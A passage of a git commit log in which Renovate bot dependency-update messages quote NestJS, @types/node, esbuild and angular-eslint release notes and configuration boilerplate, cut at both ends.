([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14240](https://redirect.github.com/nestjs/nest/pull/14240)
chore(deps): update dependency
[@&#8203;types/multer](https://redirect.github.com/types/multer) to
v1.4.12
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14239](https://redirect.github.com/nestjs/nest/pull/14239)
chore(deps): update dependency
[@&#8203;types/chai](https://redirect.github.com/types/chai) to v4.3.20
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14237](https://redirect.github.com/nestjs/nest/pull/14237)
chore(deps): update confluentinc/cp-zookeeper docker tag to v7.7.2
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14236](https://redirect.github.com/nestjs/nest/pull/14236)
chore(deps): update confluentinc/cp-kafka docker tag to v7.7.2
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;12253](https://redirect.github.com/nestjs/nest/pull/12253)
fix(deps): update apollo graphql packages
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14235](https://redirect.github.com/nestjs/nest/pull/14235)
chore(deps-dev): bump
[@&#8203;commitlint/config-angular](https://redirect.github.com/commitlint/config-angular)
from 19.5.0 to 19.6.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14233](https://redirect.github.com/nestjs/nest/pull/14233)
chore(deps): update nest monorepo
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14232](https://redirect.github.com/nestjs/nest/pull/14232)
fix(deps): update dependency path-to-regexp to v3.3.0 \[security]
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14229](https://redirect.github.com/nestjs/nest/pull/14229)
chore(deps): update mongo docker tag to v8
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14228](https://redirect.github.com/nestjs/nest/pull/14228)
chore(deps): update dependency
[@&#8203;types/node](https://redirect.github.com/types/node) to v22.10.0
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14227](https://redirect.github.com/nestjs/nest/pull/14227)
fix(deps): update nest-graphql monorepo to v12.2.1
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14224](https://redirect.github.com/nestjs/nest/pull/14224)
fix(deps): update dependency sequelize to v6.37.5
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14230](https://redirect.github.com/nestjs/nest/pull/14230)
chore(deps): update mysql docker tag to v9
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14231](https://redirect.github.com/nestjs/nest/pull/14231)
fix(deps): update dependency
[@&#8203;nestjs/swagger](https://redirect.github.com/nestjs/swagger) to
v8
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- `common`, `core`, `microservices`, `platform-express`,
`platform-fastify`, `platform-socket.io`, `platform-ws`, `testing`,
`websockets`
- [#&#8203;14226](https://redirect.github.com/nestjs/nest/pull/14226)
fix(deps): update dependency tslib to v2.8.1
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   `platform-socket.io`
- [#&#8203;14225](https://redirect.github.com/nestjs/nest/pull/14225)
fix(deps): update dependency socket.io to v4.8.1
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))

##### Committers: 1

-   Lhon ([@&#8203;LhonRafaat](https://redirect.github.com/LhonRafaat))

###
[`v10.4.11`](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.10...v10.4.11)

###
[`v10.4.10`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.10)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.9...v10.4.10)

##### v10.4.10 (2024-11-27)

##### Bug fixes

-   `platform-socket.io`, `websockets`
- [#&#8203;14204](https://redirect.github.com/nestjs/nest/pull/14204)
fix(websockets): ensure non-shared servers call close method
([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

##### Dependencies

- [#&#8203;14221](https://redirect.github.com/nestjs/nest/pull/14221)
chore(deps): update mysql docker tag to v8.4.3
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14220](https://redirect.github.com/nestjs/nest/pull/14220)
chore(deps): update dependency webpack to v5.96.1
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14219](https://redirect.github.com/nestjs/nest/pull/14219)
chore(deps): update dependency nodemon to v3.1.7
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14218](https://redirect.github.com/nestjs/nest/pull/14218)
chore(deps): update confluentinc/cp-zookeeper docker tag to v7.7.1
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14217](https://redirect.github.com/nestjs/nest/pull/14217)
chore(deps): update confluentinc/cp-kafka docker tag to v7.7.1
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14216](https://redirect.github.com/nestjs/nest/pull/14216)
fix(deps): update dependency rimraf to v5.0.10
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14215](https://redirect.github.com/nestjs/nest/pull/14215)
fix(deps): update dependency dotenv to v16.4.5
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14214](https://redirect.github.com/nestjs/nest/pull/14214)
fix(deps): update dependency
[@&#8203;grpc/reflection](https://redirect.github.com/grpc/reflection)
to v1.0.4
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;12940](https://redirect.github.com/nestjs/nest/pull/12940)
fix(deps): update dependency mongoose to v8.8.3
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14207](https://redirect.github.com/nestjs/nest/pull/14207)
chore(deps): update dependency
[@&#8203;types/dotenv](https://redirect.github.com/types/dotenv) to
v8.2.3
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14208](https://redirect.github.com/nestjs/nest/pull/14208)
chore(deps): update dependency
[@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.8
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14209](https://redirect.github.com/nestjs/nest/pull/14209)
chore(deps): update dependency amqplib to v0.10.5
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14212](https://redirect.github.com/nestjs/nest/pull/14212)
chore(deps): update dependency webpack to v5.94.0 \[security]
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14210](https://redirect.github.com/nestjs/nest/pull/14210)
chore(deps): update dependency husky to v9.1.7
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14211](https://redirect.github.com/nestjs/nest/pull/14211)
chore(deps): update nest monorepo
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14206](https://redirect.github.com/nestjs/nest/pull/14206)
chore(deps-dev): bump mongoose from 8.8.1 to 8.8.3
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 1

-   sapenlei ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

###
[`v10.4.9`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.9)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.8...v10.4.9)

##### v10.4.9 (2024-11-25)

##### Bug fixes

-   `core`, `microservices`
- [#&#8203;13923](https://redirect.github.com/nestjs/nest/pull/13923)
fix(core): merge req context with tenant payload in the request instance
([@&#8203;DylanVeldra](https://redirect.github.com/DylanVeldra))
-   `websockets`
- [#&#8203;14185](https://redirect.github.com/nestjs/nest/pull/14185)
fix(websockets): Prevent HTTP server early close in Socket.IO shutdown
([@&#8203;sapenlei](https://redirect.github.com/sapenlei))
-   `common`
- [#&#8203;14181](https://redirect.github.com/nestjs/nest/pull/14181)
fix(common): fallback to empty string for enums when validating (swc
builder)
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
-   `core`
- [#&#8203;13804](https://redirect.github.com/nestjs/nest/pull/13804)
fix(core): dependencies not resolving for transient lazy providers
([@&#8203;patrickacioli](https://redirect.github.com/patrickacioli))
-   `microservices`
- [#&#8203;14163](https://redirect.github.com/nestjs/nest/pull/14163)
fix(microservices): grpc client streaming bugs
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))

##### Enhancements

-   `common`, `core`
- [#&#8203;14175](https://redirect.github.com/nestjs/nest/pull/14175)
fix(common,core): align the logic of optional provider
([@&#8203;micalevisk](https://redirect.github.com/micalevisk))
-   `microservices`
- [#&#8203;12954](https://redirect.github.com/nestjs/nest/pull/12954)
feat: emit batch ([@&#8203;gunb0s](https://redirect.github.com/gunb0s))

##### Dependencies

-   Other
- [#&#8203;14192](https://redirect.github.com/nestjs/nest/pull/14192)
chore(deps): update dependency webpack to v5.94.0 \[security]
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14188](https://redirect.github.com/nestjs/nest/pull/14188)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.6 in
/sample/30-event-emitter
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14187](https://redirect.github.com/nestjs/nest/pull/14187)
chore(deps): bump cookie and
[@&#8203;nestjs/platform-express](https://redirect.github.com/nestjs/platform-express)
in /sample/34-using-esm-packages
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14189](https://redirect.github.com/nestjs/nest/pull/14189)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.6 in /sample/19-auth-jwt
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14186](https://redirect.github.com/nestjs/nest/pull/14186)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.6 in
/sample/31-graphql-federation-code-first/posts-application
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14183](https://redirect.github.com/nestjs/nest/pull/14183)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.6 in
/sample/32-graphql-federation-schema-first/posts-application
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14176](https://redirect.github.com/nestjs/nest/pull/14176)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.6 in
/sample/32-graphql-federation-schema-first/users-application
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14179](https://redirect.github.com/nestjs/nest/pull/14179)
chore(deps-dev): bump
[@&#8203;types/mocha](https://redirect.github.com/types/mocha) from
10.0.9 to 10.0.10
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14174](https://redirect.github.com/nestjs/nest/pull/14174)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.6 in
/sample/22-graphql-prisma
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14173](https://redirect.github.com/nestjs/nest/pull/14173)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.6 in /sample/28-sse
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14165](https://redirect.github.com/nestjs/nest/pull/14165)
chore(deps-dev): bump
[@&#8203;typescript-eslint/parser](https://redirect.github.com/typescript-eslint/parser)
from 8.14.0 to 8.15.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14171](https://redirect.github.com/nestjs/nest/pull/14171)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.6 in /sample/11-swagger
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14172](https://redirect.github.com/nestjs/nest/pull/14172)
chore(deps): bump cookie and
[@&#8203;nestjs/platform-express](https://redirect.github.com/nestjs/platform-express)
in /sample/35-use-esm-package-after-node22
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14170](https://redirect.github.com/nestjs/nest/pull/14170)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.6 in
/sample/24-serve-static
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14169](https://redirect.github.com/nestjs/nest/pull/14169)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.6 in /sample/15-mvc
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14164](https://redirect.github.com/nestjs/nest/pull/14164)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.6 in /sample/01-cats-app
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14167](https://redirect.github.com/nestjs/nest/pull/14167)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://redirect.github.com/typescript-eslint/eslint-plugin)
from 8.14.0 to 8.15.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14161](https://redirect.github.com/nestjs/nest/pull/14161)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.5 in
/sample/25-dynamic-modules
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14159](https://redirect.github.com/nestjs/nest/pull/14159)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.5 in
/sample/33-graphql-mercurius
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13632](https://redirect.github.com/nestjs/nest/pull/13632)
fix(deps): update dependency mysql2 to v3.9.8 \[security]
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14151](https://redirect.github.com/nestjs/nest/pull/14151)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.5 in
/sample/27-scheduling
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14155](https://redirect.github.com/nestjs/nest/pull/14155)
build(sample): replace cli-color with smaller and faster ansis
([@&#8203;webdiscus](https://redirect.github.com/webdiscus))
- [#&#8203;14146](https://redirect.github.com/nestjs/nest/pull/14146)
chore(deps): bump cookie and
[@&#8203;nestjs/platform-express](https://redirect.github.com/nestjs/platform-express)
in /sample/28-sse
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14149](https://redirect.github.com/nestjs/nest/pull/14149)
chore(deps): bump cross-spawn from 7.0.3 to 7.0.5 in
/sample/32-graphql-federation-schema-first/gateway
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;12995](https://redirect.github.com/nestjs/nest/pull/12995)
chore(deps): update dependency supertest to v6.3.4
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;12815](https://redirect.github.com/nestjs/nest/pull/12815)
chore(deps): update dependency
[@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.6
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
- [#&#8203;14147](https://redirect.github.com/nestjs/nest/pull/14147)
chore: upgrade deps
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
- [#&#8203;14144](https://redirect.github.com/nestjs/nest/pull/14144)
chore(deps): bump cookie, light-my-request and
[@&#8203;nestjs/platform-fastify](https://redirect.github.com/nestjs/platform-fastify)
in /sample/33-graphql-mercurius
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
-   `platform-fastify`
- [#&#8203;14191](https://redirect.github.com/nestjs/nest/pull/14191)
chore(deps): bump light-my-request from 6.1.0 to 6.3.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 7

- Kamil Mysliwiec
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
- Micael Levi L. Cavalcante
([@&#8203;micalevisk](https://redirect.github.com/micalevisk))
- Patrick Acioli
([@&#8203;patrickacioli](https://redirect.github.com/patrickacioli))
-   [@&#8203;DylanVeldra](https://redirect.github.com/DylanVeldra)
-   [@&#8203;webdiscus](https://redirect.github.com/webdiscus)
-   cain ([@&#8203;gunb0s](https://redirect.github.com/gunb0s))
-   sapenlei ([@&#8203;sapenlei](https://redirect.github.com/sapenlei))

###
[`v10.4.8`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.8)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.7...v10.4.8)

##### v10.4.8 (2024-11-15)

##### Bug fixes

-   `microservices`
- [#&#8203;14059](https://redirect.github.com/nestjs/nest/pull/14059)
fix(microservices): include discarded rmq client options
([@&#8203;v-sum](https://redirect.github.com/v-sum))
- [#&#8203;14132](https://redirect.github.com/nestjs/nest/pull/14132)
fix(microservices): no messages emitted with mqtt when qos set
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
-   `core`
- [#&#8203;14133](https://redirect.github.com/nestjs/nest/pull/14133)
fix(core): flaky durable provider, remove instance on error
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))

##### Enhancements

-   `core`
- [#&#8203;14143](https://redirect.github.com/nestjs/nest/pull/14143)
feat(core): expose listening stream from http adapter host
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
- [#&#8203;14139](https://redirect.github.com/nestjs/nest/pull/14139)
chore(core): defer application shutdown until init finishes
([@&#8203;mksony](https://redirect.github.com/mksony))

##### Committers: 3

- Kamil Mysliwiec
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
-   Max ([@&#8203;mksony](https://redirect.github.com/mksony))
- Vasile Sumanschi ([@&#8203;v-sum](https://redirect.github.com/v-sum))

###
[`v10.4.7`](https://redirect.github.com/nestjs/nest/compare/v10.4.6...v10.4.7)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.6...v10.4.7)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-01-30 21:42:43 +00:00
renovate[bot] 006698f7dd
chore(deps): update dependency @types/node to v20.17.16 (#1111)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`20.17.1` ->
`20.17.16`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.1/20.17.16)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.16?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.16?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.1/20.17.16?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.1/20.17.16?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuMTI1LjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-01-30 21:42:33 +00:00
renovate[bot] 59ef7a3bb1
chore(deps): update dependency esbuild to v0.24.2 (#1123)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`0.24.0` ->
`0.24.2`](https://renovatebot.com/diffs/npm/esbuild/0.24.0/0.24.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.24.0/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.24.0/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>evanw/esbuild (esbuild)</summary>

###
[`v0.24.2`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0242)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.24.1...v0.24.2)

- Fix regression with `--define` and `import.meta`
([#&#8203;4010](https://redirect.github.com/evanw/esbuild/issues/4010),
[#&#8203;4012](https://redirect.github.com/evanw/esbuild/issues/4012),
[#&#8203;4013](https://redirect.github.com/evanw/esbuild/pull/4013))

The previous change in version 0.24.1 to use a more expression-like
parser for `define` values to allow quoted property names introduced a
regression that removed the ability to use `--define:import.meta=...`.
Even though `import` is normally a keyword that can't be used as an
identifier, ES modules special-case the `import.meta` expression to
behave like an identifier anyway. This change fixes the regression.

This fix was contributed by
[@&#8203;sapphi-red](https://redirect.github.com/sapphi-red).

###
[`v0.24.1`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0241)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.24.0...v0.24.1)

- Allow `es2024` as a target in `tsconfig.json`
([#&#8203;4004](https://redirect.github.com/evanw/esbuild/issues/4004))

TypeScript recently [added
`es2024`](https://devblogs.microsoft.com/typescript/announcing-typescript-5-7/#support-for---target-es2024-and---lib-es2024)
as a compilation target, so esbuild now supports this in the `target`
field of `tsconfig.json` files, such as in the following configuration
file:

    ```json
    {
      "compilerOptions": {
        "target": "ES2024"
      }
    }
    ```

As a reminder, the only thing that esbuild uses this field for is
determining whether or not to use legacy TypeScript behavior for class
fields. You can read more in [the
documentation](https://esbuild.github.io/content-types/#tsconfig-json).

This fix was contributed by
[@&#8203;billyjanitsch](https://redirect.github.com/billyjanitsch).

-   Allow automatic semicolon insertion after `get`/`set`

This change fixes a grammar bug in the parser that incorrectly treated
the following code as a syntax error:

    ```ts
    class Foo {
      get
      *x() {}
      set
      *y() {}
    }
    ```

The above code will be considered valid starting with this release. This
change to esbuild follows a [similar change to
TypeScript](https://redirect.github.com/microsoft/TypeScript/pull/60225)
which will allow this syntax starting with TypeScript 5.7.

- Allow quoted property names in `--define` and `--pure`
([#&#8203;4008](https://redirect.github.com/evanw/esbuild/issues/4008))

The `define` and `pure` API options now accept identifier expressions
containing quoted property names. Previously all identifiers in the
identifier expression had to be bare identifiers. This change now makes
`--define` and `--pure` consistent with `--global-name`, which already
supported quoted property names. For example, the following is now
possible:

    ```js
    // The following code now transforms to "return true;\n"
    console.log(esbuild.transformSync(
      `return process.env['SOME-TEST-VAR']`,
      { define: { 'process.env["SOME-TEST-VAR"]': 'true' } },
    ))
    ```

Note that if you're passing values like this on the command line using
esbuild's `--define` flag, then you'll need to know how to escape quote
characters for your shell. You may find esbuild's JavaScript API more
ergonomic and portable than writing shell code.

- Minify empty `try`/`catch`/`finally` blocks
([#&#8203;4003](https://redirect.github.com/evanw/esbuild/issues/4003))

With this release, esbuild will now attempt to minify empty `try`
blocks:

    ```js
    // Original code
    try {} catch { foo() } finally { bar() }

    // Old output (with --minify)
    try{}catch{foo()}finally{bar()}

    // New output (with --minify)
    bar();
    ```

    This can sometimes expose additional minification opportunities.

- Include `entryPoint` metadata for the `copy` loader
([#&#8203;3985](https://redirect.github.com/evanw/esbuild/issues/3985))

Almost all entry points already include a `entryPoint` field in the
`outputs` map in esbuild's build metadata. However, this wasn't the case
for the `copy` loader as that loader is a special-case that doesn't
behave like other loaders. This release adds the `entryPoint` field in
this case.

- Source mappings may now contain `null` entries
([#&#8203;3310](https://redirect.github.com/evanw/esbuild/issues/3310),
[#&#8203;3878](https://redirect.github.com/evanw/esbuild/issues/3878))

With this change, sources that result in an empty source map may now
emit a `null` source mapping (i.e. one with a generated position but
without a source index or original position). This change improves
source map accuracy by fixing a problem where minified code from a
source without any source mappings could potentially still be associated
with a mapping from another source file earlier in the generated output
on the same minified line. It manifests as nonsensical files in source
mapped stack traces. Now the `null` mapping "resets" the source map so
that any lookups into the minified code without any mappings resolves to
`null` (which appears as the output file in stack traces) instead of the
incorrect source file.

This change shouldn't affect anything in most situations. I'm only
mentioning it in the release notes in case it introduces a bug with
source mapping. It's part of a work-in-progress future feature that will
let you omit certain unimportant files from the generated source map to
reduce source map size.

- Avoid using the parent directory name for determinism
([#&#8203;3998](https://redirect.github.com/evanw/esbuild/issues/3998))

To make generated code more readable, esbuild includes the name of the
source file when generating certain variable names within the file.
Specifically bundling a CommonJS file generates a variable to store the
lazily-evaluated module initializer. However, if a file is named
`index.js` (or with a different extension), esbuild will use the name of
the parent directory instead for a better name (since many packages have
files all named `index.js` but have unique directory names).

This is problematic when the bundle entry point is named `index.js` and
the parent directory name is non-deterministic (e.g. a temporary
directory created by a build script). To avoid non-determinism in
esbuild's output, esbuild will now use `index` instead of the parent
directory in this case. Specifically this will happen if the parent
directory is equal to esbuild's `outbase` API option, which defaults to
the [lowest common
ancestor](https://en.wikipedia.org/wiki/Lowest_common_ancestor) of all
user-specified entry point paths.

- Experimental support for esbuild on NetBSD
([#&#8203;3974](https://redirect.github.com/evanw/esbuild/pull/3974))

With this release, esbuild now has a published binary executable for
[NetBSD](https://www.netbsd.org/) in the
[`@esbuild/netbsd-arm64`](https://www.npmjs.com/package/@&#8203;esbuild/netbsd-arm64)
npm package, and esbuild's installer has been modified to attempt to use
it when on NetBSD. Hopefully this makes installing esbuild via npm work
on NetBSD. This change was contributed by
[@&#8203;bsiegert](https://redirect.github.com/bsiegert).

⚠️ Note: NetBSD is not one of [Node's supported
platforms](https://nodejs.org/api/process.html#process_process_platform),
so installing esbuild may or may not work on NetBSD depending on how
Node has been patched. This is not a problem with esbuild. ⚠️

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-01-30 16:40:11 -05:00
renovate[bot] 952c43f3b8
chore(deps): update angular-eslint monorepo to v18.4.3 (#1098)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@angular-eslint/builder](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/builder))
| [`18.4.0` ->
`18.4.3`](https://renovatebot.com/diffs/npm/@angular-eslint%2fbuilder/18.4.0/18.4.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@angular-eslint%2fbuilder/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@angular-eslint%2fbuilder/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@angular-eslint%2fbuilder/18.4.0/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@angular-eslint%2fbuilder/18.4.0/18.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
|
[@angular-eslint/eslint-plugin](https://redirect.github.com/angular-eslint/angular-eslint)
([source](https://redirect.github.com/angular-eslint/angular-eslint/tree/HEAD/packages/eslint-plugin))
| [`18.4.0` ->
